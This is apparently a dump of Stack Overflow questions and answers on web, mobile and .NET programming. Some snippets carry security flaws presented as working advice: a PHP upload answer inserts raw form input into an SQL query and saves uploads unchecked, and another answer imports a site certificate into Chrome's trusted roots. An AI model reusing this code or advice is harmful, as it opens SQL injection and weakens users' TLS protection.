11059458	0	Cannot nullify the padding on a <select> in IE 8 <p>I've got a problem with IE8.</p> <p>I've got a select box to choose capacitance units pF, nF and mF.</p> <p>Now, the text is a little bit down, even though I set <code>padding:0</code>, and it cuts the text.</p> <p>And so the 'pF' option actually looks like 'nF' which is unacceptable.</p> <p><img src="https://i.stack.imgur.com/pd4zN.png" alt="enter image description here"></p> <p>I wonder if there is any fix at all. I can't think of nothing other than setting padding to 0 which doesn't work once again. Setting small <code>line-height</code> also doesn't do anything either.</p> <p>CSS:</p> <pre><code>select { width: 40px; height: 16px; padding: 0px; font: 8pt Helvetica; } </code></pre> <p>Any ideas?</p> <p>Edit: There you go for <strong>JSFIDDLE:</strong></p> <p><a href="http://jsfiddle.net/zuYsF/" rel="nofollow noreferrer">http://jsfiddle.net/zuYsF/</a></p> <p>See that 'pF' is selected by default, and it actually looks like 'nF'.</p>
4915668	0	Changing background color of RectangleShape in Visual Basic Power Pack 3 with C#? <p>I've installed Visual Basic Power Pack 3 in Visual Studio 2008 SP1. <br /> I wanna change the background color of RectangleShape in a C# WinForm !!! <br /> I changed <code>FillColor</code> property and <code>BackColor</code> property to <code>Black</code> but nothing happened and RectangleShape's background color didn't changed. <br /></p> <p>How can I change the background color of RectangleShape ?</p>
35821756	0	 <p>Your checkout failed because pulling (and hence fetching) an explicit ref fetches <em>only</em> that ref, so after your initial pull your repo had only <code>refs/heads/master</code> and <code>refs/remotes/origin/master</code>, both pointing at the same commit. Checkout of 2.7 didn't work because your repo didn't have anything by that name.</p> <p>Pull does a merge, and the extra content <code>git pull origin 2.7</code> put in your worktree is there for conflict resolution, merge can't determine the correct results so you have to. You'll see that not everything outside the Tools directory is checked out, only the conflicted files. I'm not sure how merge with a shallow fetch and sparse checkout should behave overall, but asking for conflict resolution is surely the only thing to do here.</p> <p>Doing a shallow one-ref fetch is as lightweight as git gets, if one-off bandwidth use is really that dear you could clone to an ec2 instance and tag a particular tree.</p>
37216709	0	 <p>Try with this code:</p> <pre><code>var prm = Sys.WebForms.PageRequestManager.getInstance(); prm.add_beginRequest(BeginRequestHandler); function BeginRequestHandler(sender, args) { tinymce.execCommand('mceRemoveEditor', true, 'text_control_id'); } prm.add_pageLoaded(function (sender, e) { LoadTinyMCE(); }); </code></pre>
31583742	0	 <p>The essential difference is that Special:SMWAdmin only ''queues'' the updates in the <a href="https://www.mediawiki.org/wiki/Manual:Job_queue" rel="nofollow">job queue</a>, while <code>rebuildData.php</code> actually <em>performs</em> the updates.</p> <p>If your job queue is correctly configured, the difference may be trivial; otherwise you'll run into <a href="https://www.mediawiki.org/wiki/Manual:Job_queue#Performance_issue" rel="nofollow">performance issues</a>. A common error is to <a href="https://phabricator.wikimedia.org/T60969" rel="nofollow">have insufficient memory</a> for the job runner. If all else fails, the last resort is <a href="https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues/184#issuecomment-34790596" rel="nofollow">null-editing all the pages</a>.</p> <p>The difference was actually written in the help page, but in a weird English; <a href="https://semantic-mediawiki.org/w/index.php?title=Help%3ARebuildData.php&amp;diff=39897&amp;oldid=39582" rel="nofollow">fixed that too</a>.</p>
30061694	0	 <p>Your code is restoring <code>productNames</code> <em>twice</em>, first in <code>onCreate()</code>, and again in <code>onRestoreInstanceState()</code>. After the first restoration, you append the new product String to the restored list. But then you restore it a second time, which replaces the updated list with the original list.</p> <p>Try deleting your <code>onRestoreInstanceState()</code>.</p>
32577045	0	 <p>Remove <code>import U;</code>. You don't need it because both files are in the same location. That is what causing the problem.</p>
12279061	0	 <p>It is not for <code>ConnectedThread</code> it for <code>mState</code> Synchronize should be used for both read and update.</p>
10647535	0	 <p>You need to check for memory allocations with following in your app - </p> <ol> <li><p>Using <code>Instruments</code> check <code>Allocation</code> and <code>Leaks</code></p></li> <li><p>Using Static memory analyser check static memory leaks. To use this either use "cmd+shift+B" or go to "Xcode -> Product -> Analyze"</p></li> </ol> <p>Also you need to ensure proper release of your view controllers.</p>
3995018	0	 <p>Why not get the square root of the number? If its negative - java will throw an error and we will handle it.</p> <pre><code> try { d = Math.sqrt(THE_NUMBER); } catch ( ArithmeticException e ) { console.putln("Number is negative."); } </code></pre>
6596742	0	How to get current location Latitude Longitude in android <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/2227292/how-to-get-latitude-and-longitude-of-the-mobiledevice-in-android">How to get Latitude and Longitude of the mobiledevice in android?</a> </p> </blockquote> <p>I need a straight forward code which only find the Latitude and Longitude. I want to sent this over the webservice to get the near by hotels.</p> <p>I have used a lot of codes they work very well but some time they didn't work. If some one wants that code then i can also provide it is very good.</p> <p>Thanx all.</p>
38128265	0	 <p>Fix for Chrome on Windows. </p> <p>First, you need to export the certificate.</p> <ul> <li>Locate the url in the browser. “https” segment of the url will be crossed out with the red line and there will be a lock symbol to the left. </li> <li>Right click on the crossed-out "https" segment. </li> <li>You will see an information window with various information</li> <li>Click “details”. </li> <li>Export the certificate, follow directions accept default settings.</li> </ul> <p>To import</p> <ul> <li>Go to Chrome Settings</li> <li>Click on "advanced settings"</li> <li>Under HTTPS/SSL click to "Manage Certificates"</li> <li>Go to "Trusted Root Certificate Authorities"</li> <li>Click to "Import"</li> <li>There will be a pop up window that will ask you if you want to install this certificate. Click "yes".</li> </ul>
18790656	0	Load xml malformed with simplexml <p>I've got a malformed xml file, basically it have ampersan(&amp;) inside the tags and they are not escaped...</p> <p>This is the code i'm using for loading the xml.</p> <pre><code>$archivo = "tarifa_mayorista.xml"; echo "Reading file&lt;br&gt;"; if (file_exists($archivo)) { $articulos = simplexml_load_file($archivo); if($articulos){ foreach ($articulos-&gt;Categoria as $rs) { $categoria = (string) $rs-&gt;TxCategoria; $subCat = (string) $rs-&gt;SubCategoria[0]-&gt;TxSubCategoria; $cod = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;PartNumber; $stock = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;Stock; $precio = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;Precio; $fabricante = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;Fabricante; $ean = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;EAN; $descripcion = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;Descripcion; $canon = (string) $rs-&gt;SubCategoria[0]-&gt;SubCategoria2[0]-&gt;Canon; $desc = mysql_real_escape_string($descripcion); $sql2="insert into `activadosmil` set cod='".trim($cod)."', stock='".trim($stock)."', precio='".trim($precio)."', categoria='".$categoria."', subcategoria='".$subCat."', descripcion='".$desc."', ean='".trim($ean)."', canon='".trim($precio)."', fabricante='".trim($fabricante)."'"; mysql_query($sql2) or die(mysql_error()."&lt;hr&gt;".$sql2); } } else echo "&lt;br&gt;Invalid XML sintaxis"; } else echo "&lt;br&gt;Error opening ".$archivo; </code></pre> <p>/* SAMPLE XML CODE */ </p> <pre><code>&lt;Categoria&gt; &lt;TxCategoria&gt;ALMACENAMIENTO&lt;/TxCategoria&gt; &lt;SubCategoria&gt; &lt;TxSubCategoria&gt;CARCASAS DISCO DURO&lt;/TxSubCategoria&gt; &lt;SubCategoria2&gt; &lt;TxSubCategoria2&gt;2,5"&lt;/TxSubCategoria2&gt; &lt;PartNumber&gt;5VECTRIXALU3,5&lt;/PartNumber&gt; &lt;Fabricante&gt;TACENS&lt;/Fabricante&gt; &lt;EAN&gt;4710700954461&lt;/EAN&gt; &lt;Descripcion&gt;MONITOR ASUS LED&amp;PIP 27 VE278Q&lt;/Descripcion&gt; &lt;Precio&gt; 12.37&lt;/Precio&gt; &lt;Stock&gt; 0&lt;/Stock&gt; &lt;Canon&gt; 0.00&lt;/Canon&gt; &lt;/SubCategoria2&gt; &lt;/SubCategoria&gt; &lt;/Categoria&gt; </code></pre> <p></p> <p>Is there any way to load the xml malformed file with simplexml? Or escape the characteres from tags?</p> <p>Thank you guys in advance</p>
16770704	0	 <p>You can just use the .hidden property on the button </p> <p>To hide the button, if not already hidden</p> <pre><code>if(!yourButton.hidden) //Button is not hidden { //hide button yourButton.hidden = YES; //do other magic here if required } </code></pre> <p>To change the visibility of your button, you can use</p> <pre><code>yourButton.hidden = YES; //Set button hidden, (YES or NO, NO is by default) </code></pre>
4691764	0	 <p>You should use the getter, because if your class moves to a more complex logic in the getter, then you will be insulated from the change. However, if your class provides a public getter, I'd question the logic of creating this method.</p>
5824890	0	Converting a ms-access front-end to a web-based technology <p>Can anyone recommend the best web-based technology/language for rewriting a ms-access front-end? I've already converted the tables to MySql and moved all the queries into stored-procedures. The language will need to be able to handle multiple result sets.</p> <p>Also, I need the GUI to be as similar as possible to the current ms-access front-end. So the new language will need to have features including full CRUD, tabbed forms, datasheet style sub-forms, combo-boxes and reports.</p> <p>I've dabbled a bit with html, css, php, javascript and java but are any of these capable or suitable? I've heard that Ajax or jQuery might be the way to go.</p>
34932955	0	Why are methods like setters used, instead of changing properties directly in Javascript? <p>With an object defined.</p> <pre><code>var bob = {age: 10}; </code></pre> <p>Defined setter as:</p> <pre><code>bob.setAge = function (newAge){ bob.age = newAge; }; </code></pre> <p>So we can change a property as:</p> <pre><code>bob.setAge(20) </code></pre> <p>Instead of simply:</p> <pre><code>bob.age = 20; </code></pre> <p>or</p> <pre><code>bob["age"] = 20; </code></pre> <p>Is best practices the reason?</p>
4496348	0	In the grid layout , what the difference between the followings <pre><code>Width="auto" Width ="*" Width ="100*" </code></pre>
13683745	0	Flash project does not show text correctly <p>Currently I am working on fixing a 3 year old flash project. I am using Flash professional CS5. The problem is that text is not shown correctly; characters seem to be omitted in textfields.</p> <ul> <li>"Hoi welkom bij deze groep" is shown as "oi elkom bij deze groep".</li> <li>"MEIJUH" is shown as "gi"</li> <li>"De connectie met de server is verbroken" is shown as "e connectie met de serer is erbroken"</li> </ul> <p>Note that these strings are in Dutch, but I don't think this is a problem for encoding. Above strings are "hardcoded" (or whatever you call it) in the project.</p> <p>I think that 3 years ago the project was initially created in an earlier version of Adobe CS.</p> <p>What might be a solution to fixing the correct showing of text in textfields?</p>
16694358	0	NewRelic reporting when using Rack::Timeout <p>We're running in an environment (Heroku) in which requests longer than 30 seconds will be interrupted. Therefore our web server (Unicorn) is set to abort after 15 seconds. We have noticed that when a request is interrupted no information seems to be logged to NewRelic. </p> <p>Any recommendations for how to get around this? My first thought was to use Rack::Timeout to have Rack cancel the request. Will this work with newrelic_rpm? Where in the middleware chain is newrelic injected?</p> <p>We're running Ruby 1.9.3 with Sinatra.</p> <p>Thank you in advance!</p>
40940970	0	 <p>Adding <strong>-ExecutionPolicy ByPass</strong> is what made it work. So now what I am passing is:</p> <p><strong>-ExecutionPolicy ByPass -file "\SERVER\Share\Script.ps1"</strong></p> <p>This is where I got this tip - <a href="http://www.sqlservercentral.com/Forums/Topic1714552-147-1.aspx" rel="nofollow noreferrer">http://www.sqlservercentral.com/Forums/Topic1714552-147-1.aspx</a></p> <p>After I added this, <strong>Read-Host</strong> started working also and paused the execution of the script. </p>
4801725	0	 <p>try datagrid.Items.Refresh() from here <a href="http://programmer.wrighton.org/2009/01/wpf-datagrid-items-refresh.html">http://programmer.wrighton.org/2009/01/wpf-datagrid-items-refresh.html</a></p>
35835247	0	 <p>Thank you for reporting this. It's a bug. We'll deploy a fix in the next few days. Let me know if you have any questions.</p> <p>Update: This bug has been fixed.</p>
12922080	0	 <p>I also believe it's region bias but did you tried comparing name and address of the result? It's happen to me sometimes I get the address and not the name lat lng pairs. I suggest you also to try this url from google <a href="http://maps.google.com/maps/geo?q=" rel="nofollow">http://maps.google.com/maps/geo?q=</a> see my answer: <a href="http://stackoverflow.com/questions/12788664/google-maps-api-geocode-returns-different-co-ordinates-then-google-maps/12790012#12790012">Google Maps API: Geocode returns different co-ordinates then Google maps</a>.</p>
15724424	0	 <p>From the <a href="http://mongoosejs.com/docs/guide.html#id">documentation</a>:</p> <blockquote> <p>Mongoose assigns each of your schemas an id virtual getter by default which returns the documents _id field cast to a string, or in the case of ObjectIds, its hexString.</p> </blockquote> <p>So, basically, the <code>id</code> getter returns a string representation of the document's <code>_id</code> (which is added to all MongoDB documents by default and have a default type of <code>ObjectId</code>).</p> <p>Regarding what's better for referencing, that depends entirely on the context (i.e., do you want an <code>ObjectId</code> or a <code>string</code>). For example, if comparing <code>id</code>'s, the string is probably better, as <code>ObjectId</code>'s won't pass an equality test unless they are the same instance (regardless of what value they represent).</p>
1066862	0	How to set a property of a UIKit class or subclass for all future instantians? <p>What sort of Objective-C runtime magic do I need to use to make it so a property for an object is always set to a value than its normal default. For example, UIImageView's userInteractionEnabled is always false, but I want to my own UIImageview subclass to always have userInteractionEnabled set to true. Is the same thing achievable without subclassing UIImageView?</p>
11372554	0	 <p>One important thing: you should write <a href="http://en.wikipedia.org/wiki/Unobtrusive_JavaScript" rel="nofollow">unobtrusive JavaScript</a>, as it is considered best practice. With it, you can maintain a separation of content from code. Thus, the first step is to remove that <code>onclick</code> handler on the <code>&lt;button&gt;</code> element.</p> <p>I'm assuming you want to click the button that says "click for hide" to hide the <code>&lt;div&gt;</code>. Okay, so let's get some skeleton code out into the <code>&lt;script&gt;</code>:</p> <pre><code>$(document).ready(function() { $(&lt;button&gt;).click(function() { $(&lt;div&gt;).hide(); }); }); </code></pre> <p>But we need to somehow link that <code>click</code> handler to that button, and link that <code>hide</code> function to the actual <code>div</code>. Here's the easiest way to do this: give your <code>&lt;button&gt;</code> and <code>&lt;div&gt;</code> some ids. Let's say...</p> <pre><code>&lt;button id="hide-button"&gt;...&lt;/button&gt; &lt;div id="hide-div"&gt;...&lt;/div&gt; </code></pre> <p>Now, we simply need to make a few modifications to our skeleton code:</p> <pre><code>$("#hide-button").click(function() { $("#hide-div").hide(); }); </code></pre> <p>Here's what this simple code does. When your DOM loads, a nameless function (you can't name functions that you define on the fly*) is invoked from the document's ready event. This nameless function attaches the <code>click</code> handler to your <code>#hide-button</code> button, so that when you click the button, another anonymous function is invoked. That function calls <code>hide</code>, which does some jQuery magic that works in all browsers, on that <code>#hide-div</code> div to hide it.</p> <p>*Well, you can, but only if you define them first and then pass them. Like this:</p> <pre><code>var fn = function() {...}; $(document).ready(fn); </code></pre> <p><strong>Edit</strong></p> <p>Since the asker does not want to use IDs or classes, here's an alternative solution:</p> <pre><code>&lt;script&gt; function hide() { $('div').hide(); } &lt;/script&gt; ... &lt;button onclick="hide()"&gt;click for hide&lt;/button&gt; &lt;div&gt;&lt;/div&gt; </code></pre> <p>Be careful not to place <code>function hide()</code> within jQuery's document-ready idiom. Doing so will deny you access to <code>hide()</code> because of scoping.</p>
2020999	0	WPF Master -Detail Binding XElement <p>I have a XElement that has the following structure</p> <pre><code>&lt;document num="1"&gt; &lt;pages&gt; &lt;page /&gt; &lt;page /&gt; &lt;/pages&gt; &lt;/document/&gt; </code></pre> <p>I have one Listbox named "documents" that is bound to an XElement in the following manner:</p> <pre><code>ItemsSource="{Binding Path=TheXElement.Elements[document]}" </code></pre> <p>I want to have a second ListBox named "pages" whose ItemsSource is the pages based on the selected document in the first list box.</p> <pre><code>ItemsSource="{Binding ElementName=documents,Path=SelectedItem.Element[pages].Elements[page]}" </code></pre> <p>Of source ,the above statement does not work. When I try the following <code>ItemsSource="{Binding ElementName=documents,Path=SelectedItem}</code>, the "pages" ListBox does get bound to the correct document, but it gets a binding error "ReferenceConverter cannot convert from System.Xml.Linq.XElement"</p> <p>I think I'm close, but having issues getting it to work. How can I correctly bind the "pages" ListBox to the SelectedItem of the "documents" ListBox?</p> <p>Thanks!</p>
14368605	0	 <p>Unless there is some other requirement not specified, I would simply convert your color image to grayscale and work with that only (no need to work on the 3 channels, the contrast present is too high already). Also, unless there is some specific problem regarding resizing, I would work with a downscaled version of your images, since they are relatively large and the size adds nothing to the problem being solved. Then, finally, your problem is solved with a median filter, some basic morphological tools, and statistics (mostly for the Otsu thresholding, which is already done for you).</p> <p>Here is what I obtain with your sample image and some other image with a sheet of paper I found around:</p> <p><img src="https://i.stack.imgur.com/E5AZAm.png" alt="enter image description here"> <img src="https://i.stack.imgur.com/vplgsm.png" alt="enter image description here"></p> <p>The median filter is used to remove minor details from the, now grayscale, image. It will possibly remove thin lines inside the whitish paper, which is good because then you will end with tiny connected components which are easy to discard. After the median, apply a morphological gradient (simply <code>dilation</code> - <code>erosion</code>) and binarize the result by Otsu. The morphological gradient is a good method to keep strong edges, it should be used more. Then, since this gradient will increase the contour width, apply a morphological thinning. Now you can discard small components.</p> <p>At this point, here is what we have with the right image above (before drawing the blue polygon), the left one is not shown because the only remaining component is the one describing the paper:</p> <p><img src="https://i.stack.imgur.com/isxDQ.png" alt="enter image description here"></p> <p>Given the examples, now the only issue left is distinguishing between components that look like rectangles and others that do not. This is a matter of determining a ratio between the area of the convex hull containing the shape and the area of its bounding box; the ratio 0.7 works fine for these examples. It might be the case that you also need to discard components that are inside the paper, but not in these examples by using this method (nevertheless, doing this step should be very easy especially because it can be done through OpenCV directly).</p> <p>For reference, here is a sample code in Mathematica:</p> <pre><code>f = Import["http://thwartedglamour.files.wordpress.com/2010/06/my-coffee-table-1-sa.jpg"] f = ImageResize[f, ImageDimensions[f][[1]]/4] g = MedianFilter[ColorConvert[f, "Grayscale"], 2] h = DeleteSmallComponents[Thinning[ Binarize[ImageSubtract[Dilation[g, 1], Erosion[g, 1]]]]] convexvert = ComponentMeasurements[SelectComponents[ h, {"ConvexArea", "BoundingBoxArea"}, #1 / #2 &gt; 0.7 &amp;], "ConvexVertices"][[All, 2]] (* To visualize the blue polygons above: *) Show[f, Graphics[{EdgeForm[{Blue, Thick}], RGBColor[0, 0, 1, 0.5], Polygon @@ convexvert}]] </code></pre> <p>If there are more varied situations where the paper's rectangle is not so well defined, or the approach confuses it with other shapes -- these situations could happen due to various reasons, but a common cause is bad image acquisition -- then try combining the pre-processing steps with the work described in the paper "Rectangle Detection based on a Windowed Hough Transform".</p>
3028971	0	 <p>There is no standard predefined parameter type which allows you to get the current user name as a Where parameter in markup (I guess you are talking about <code>User.Identity.Name</code>). Something simple like...</p> <pre><code>&lt;asp:Parameter Name="userName" DefaultValue='&lt;%# User.Identity.Name %&gt;' /&gt; </code></pre> <p>...doesn't work unfortunately since you cannot use data binding syntax in the parameter controls.</p> <p>But you can create <a href="http://www.4guysfromrolla.com/articles/110106-1.aspx" rel="nofollow noreferrer">custom parameters</a>. (On the second half of that page is a concrete example of a "user name parameter".)</p> <p>To your problem with the exception: I'm using the "it-Syntax" with navigation properties a lot in EntityDataSource and it looks more or less exactly like your example. Without seeing more of your model it's hard to tell what might cause the error. But generally, navigating through properties in EntityDataSource is supported and works.</p>
38477014	0	 <p>Ok, I investigated a bit more. My problem was not related to the value of DEFAULT_PORT.</p> <p>Concerning the negative value in the debugger, it looks to me like a bug in Xcode and not in Swift. I did a few tests and Swift does all operations with the correct value.</p> <p>To reproduce anyone can define <code>private let DEFAULT_PORT: UInt16 = UInt16(47300)</code> in the AppDelegate and put a Breakpoint in <code>didFinishLaunchingWithOptions</code>. You should then see -18326 as value in the debugger. </p>
22866252	0	Regex get text between parentheses and keywords <p>i have a text pattern like this;</p> <pre><code>(((a) or (b) or (c)) and ((d) or (e)) and ((!f) or (!g))) </code></pre> <p>and i want to get it like this;</p> <pre><code>((a) or (b) or (c)) ((d) or (e)) ((!f) or (!g)) </code></pre> <p>After that i want to seperate them like this;</p> <pre><code>a,b,c d,e !f,!g </code></pre> <p>any help would be awesome :)</p> <p><strong>edit 1:</strong> sorry about the missing parts; using language is C# and this is what i got;</p> <pre><code>(\([^\(\)]+\))|([^\(\)]+) </code></pre> <p>with i got;</p> <pre><code>(a) or (b) or (c) and (d) or (e) and (!f) or (!g) </code></pre> <p>thanks already!</p>
491296	0	 <p><strong>Here is the <em>answer</em> for those of you looking like I did all over the web trying to find out how to do this task. Uploading a photo to a server with the file name stored in a mysql database and other form data you want in your Database.</strong> Please let me know if it helped. </p> <p>Firstly the form you need: </p> <pre><code> &lt;form method="post" action="addMember.php" enctype="multipart/form-data"&gt; &lt;p&gt; Please Enter the Band Members Name. &lt;/p&gt; &lt;p&gt; Band Member or Affiliates Name: &lt;/p&gt; &lt;input type="text" name="nameMember"/&gt; &lt;p&gt; Please Enter the Band Members Position. Example:Drums. &lt;/p&gt; &lt;p&gt; Band Position: &lt;/p&gt; &lt;input type="text" name="bandMember"/&gt; &lt;p&gt; Please Upload a Photo of the Member in gif or jpeg format. The file name should be named after the Members name. If the same file name is uploaded twice it will be overwritten! Maxium size of File is 35kb. &lt;/p&gt; &lt;p&gt; Photo: &lt;/p&gt; &lt;input type="hidden" name="size" value="350000"&gt; &lt;input type="file" name="photo"&gt; &lt;p&gt; Please Enter any other information about the band member here. &lt;/p&gt; &lt;p&gt; Other Member Information: &lt;/p&gt; &lt;textarea rows="10" cols="35" name="aboutMember"&gt; &lt;/textarea&gt; &lt;p&gt; Please Enter any other Bands the Member has been in. &lt;/p&gt; &lt;p&gt; Other Bands: &lt;/p&gt; &lt;input type="text" name="otherBands" size=30 /&gt; &lt;br/&gt; &lt;br/&gt; &lt;input TYPE="submit" name="upload" title="Add data to the Database" value="Add Member"/&gt; &lt;/form&gt; </code></pre> <p>Then this code processes you data from the form: </p> <pre><code> &lt;?php // This is the directory where images will be saved $target = "your directory"; $target = $target . basename( $_FILES['photo']['name']); // This gets all the other information from the form $name=$_POST['nameMember']; $bandMember=$_POST['bandMember']; $pic=($_FILES['photo']['name']); $about=$_POST['aboutMember']; $bands=$_POST['otherBands']; // Connects to your Database mysqli_connect("yourhost", "username", "password") or die(mysqli_error()) ; mysqli_select_db("dbName") or die(mysqli_error()) ; // Writes the information to the database mysqli_query("INSERT INTO tableName (nameMember,bandMember,photo,aboutMember,otherBands) VALUES ('$name', '$bandMember', '$pic', '$about', '$bands')") ; // Writes the photo to the server if(move_uploaded_file($_FILES['photo']['tmp_name'], $target)) { // Tells you if its all ok echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded, and your information has been added to the directory"; } else { // Gives and error if its not echo "Sorry, there was a problem uploading your file."; } ?&gt; </code></pre> <p>Code edited from <a href="http://www.about.com" rel="nofollow noreferrer">www.about.com</a></p>
21456670	0	 <p>You could also use analytic functions to compute the number of NULL values for the name and filter by that:</p> <pre><code>with v_data as ( select name, value from table1 union select name, value from table2 ) select v2.* from ( select v1.*, count(value) over (partition by name) as value_cnt from v_data v1 ) v2 where value_cnt = 0 or value is not null </code></pre>
30369794	0	 <p>The tuple part that you are looking for is actually a <a href="http://elixir-lang.org/getting-started/maps-and-dicts.html#maps" rel="nofollow">map</a>.</p> <p>The reason your original version didn't work is because your JSON, when decoded, returned a map as the first element of a <a href="http://elixir-lang.org/getting-started/basic-types.html#%28linked%29-lists" rel="nofollow">list</a>.</p> <p>There are multiple ways to get the first element of a list.</p> <p>You can either use the <code>hd</code> function:</p> <pre><code>iex(2)&gt; s = [%{"left_operand" =&gt; "2", "start_usage" =&gt; "0"}] [%{"left_operand" =&gt; "2", "start_usage" =&gt; "0"}] iex(3)&gt; hd s %{"left_operand" =&gt; "2", "start_usage" =&gt; "0"} </code></pre> <p>Or you can pattern match:</p> <pre><code>iex(4)&gt; [s | _] = [%{"left_operand" =&gt; "2", "start_usage" =&gt; "0"}] [%{"left_operand" =&gt; "2", "start_usage" =&gt; "0"}] iex(5)&gt; s %{"left_operand" =&gt; "2", "start_usage" =&gt; "0"} </code></pre> <p>Here <a href="http://elixir-lang.org/getting-started/pattern-matching.html#pattern-matching" rel="nofollow">destructuring</a> is used to split the list into its head and tail elements (the tail is ignored which is why <code>_</code> is used)</p> <p>This has nothing to do with the type of the elements inside the list. If you wanted the first 3 elements of a list, you could do:</p> <pre><code>iex(6)&gt; [a, b, c | tail] = ["a string", %{}, 1, 5, ?s, []] ["a string", %{}, 1, 5, 115, []] iex(7)&gt; a "a string" iex(8)&gt; b %{} iex(9)&gt; c 1 iex(10)&gt; tail [5, 115, []] </code></pre>
25114150	0	Is it limit for youtube json connections? <p>I'm getting youtube views like that:</p> <pre><code>$video_ID = 'your-video-ID'; $JSON = file_get_contents("https://gdata.youtube.com/feeds/api/videos/{$video_ID}?v=2&amp; alt=json"); $JSON_Data = json_decode($JSON); $views = $JSON_Data-&gt;{'entry'}-&gt;{'yt$statistics'}-&gt;{'viewCount'}; echo $views; </code></pre> <p>But sometimes i can see too many connections and yt back error ? So, how many queries into Youtube are possible for day, for ip or domain?</p> <p>Is there any chance to use API or something else to get a lot of data without problems ?</p>
5701468	0	 <p>Own java agent should do the trick:</p> <p><a href="http://blogs.captechconsulting.com/blog/david-tiller/not-so-secret-java-agents-part-1" rel="nofollow">http://blogs.captechconsulting.com/blog/david-tiller/not-so-secret-java-agents-part-1</a></p> <p>I suppose that intercepting System.currentTimeMillis() calls should be enough.</p>
8153065	0	 <p>The <a href="http://www.adaic.org/resources/add_content/standards/05rm/html/RM-A-4-2.html" rel="nofollow">Ada.Strings.Maps</a> packages would likely be very helpful here, particularly the "To_Set" (define the characters you want to strip out in a Character_Sequence) and "Is_In" functions.</p> <p>Since you're deleting, rather than replacing, characters, you'll have to iterate through the string, checking to see whether each one "is in" the set of those to be deleted. If so, don't append it to the output string buffer.</p>
27188356	0	 <p>After @abhitalks comments/feedback. In your first example is nothing wrong, just is related to only inherited properties which will not work. color is inherited, but border is not:</p> <p>Take a look here <a href="http://www.w3.org/TR/CSS21/propidx.html" rel="nofollow"><strong>Full property table</strong></a></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>:not(p) { color: #f00; border: 1px solid gray; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;h1&gt;This is a heading&lt;/h1&gt; &lt;p class="example"&gt;This is a paragraph.&lt;/p&gt; &lt;p&gt;This is another paragraph.&lt;/p&gt; &lt;div&gt;This is some text in a div element.&lt;/div&gt;</code></pre> </div> </div> </p> <p>In you second example:</p> <blockquote> <p>Selectors level 3 does not allow anything more than a single <a href="http://www.w3.org/TR/css3-selectors/#simple-selectors" rel="nofollow">simple selector</a> within a :not() pseudo-class.</p> </blockquote> <p>You can change it to:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>body :not(.example) { color: #ff0000; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;h1&gt;This is a heading&lt;/h1&gt; &lt;p class="example"&gt;This is a paragraph.&lt;/p&gt; &lt;p&gt;This is another paragraph.&lt;/p&gt; &lt;div&gt;This is some text in a div element.&lt;/div&gt;</code></pre> </div> </div> </p>
36778764	0	Rails: Upload to Instagram programatically? <p>I want to upload photos to my own instagram account programatically from my Rails app. I've only been able to find posts from ~2013 that state this is against Instagram TOS. Is there any update or are photo uploads still disabled using the Instagram API?</p>
18295747	0	WordPress 301 Redirect Spaces to Hypens <p>I have the following in my .htaccess file:</p> <pre><code> # BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; Options +FollowSymlinks -MultiViews RewriteEngine On RewriteBase /entertainment/ RewriteCond %{THE_REQUEST} (\s|%20) RewriteRule ^([^\s%20]+)(?:\s|%20)+([^\s%20]+)((?:\s|%20)+.*)$ $1-$2$3 [N,DPI] RewriteRule ^([^\s%20]+)(?:\s|%20)+(.*)$ /$1-$2 [L,R=301,DPI] RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /entertainment/index.php [L] &lt;/IfModule&gt; # END WordPress </code></pre> <p>The problem is that domain.com/entertainment/testing 1/ redirects to domain.com/testing-1 instead of domain.com/entertainment/testing-1/. How do I fix this?</p>
37933027	0	 <p>If I understand you correctly, you want to <em>not</em> include any of the changes from <code>master</code>, but just "close" it and keep going with exactly what you have in <code>symfony</code>. If so, use the <code>ours</code> <a href="https://git-scm.com/docs/merge-strategies" rel="nofollow">merge strategy</a>, which will create a merge commit without incorporating any of the changes from the other branch and thus effectively "close" the other branch. The last two commands simply rearrange the branch names.</p> <pre><code>git checkout symfony git merge -s ours master git checkout -B master git branch -D symfony </code></pre>
24327386	0	 <p>Try this... You can do it in single line...</p> <pre><code>formSubmit = isValidToggle($('#rta_cl_fn'), $('#div_cl_fn')) &amp;&amp; isValidToggle($('#rta_cl_ln'), $('#div_cl_ln')) &amp;&amp; isValidToggle($('#rta_cl_ph'), $('#div_cl_ph')) &amp;&amp; isValidToggle($('#rta_cl_mob'), $('#div_cl_mob')) </code></pre> <p>in this, it will check first one condition and if it is true then It will check further condition otherwise it will take you out.</p>
37710855	0	Angular Jasmine $location $httpBackend: "Error: unexpected request" <p>I'm trying to unit test $urlRouterProvider.otherwise to show the url as whatever the user entered. However, every time I use $location in my unit test, I get this error</p> <pre><code>path default rerouting should go to error upon bad rerouting url FAILED Error: Unexpected request: GET public/templates/404.html No more request expected at $httpBackend (/Users/project/lib/angular-mocks.js:1207:9) </code></pre> <p>This is what I have in my config file:</p> <pre><code>$urlRouterProvider .when('', '/main') .when('/', '/main') .otherwise(function($injector){ $injector.get('$state').go('404', {}, { location: false }); }); </code></pre> <p>And this is what I have as my spec.js file</p> <pre><code>describe('path', function(){ var $rootScope, $state, $location, $injector, $templateCache, state; beforeEach(angular.mock.module('app')); beforeEach(angular.mock.inject(function(_$rootScope_, _$state_, _$injector_, _$location_, _$templateCache_, _$httpBackend_){ $rootScope = _$rootScope_; $state = _$state_; $injector = _$injector_; $location = _$location_; $templateCache = _$templateCache_; $httpBackend = _$httpBackend_; $templateCache.put('public/templates/main.html', ''); $templateCache.put('public/template/audio.html', ''); 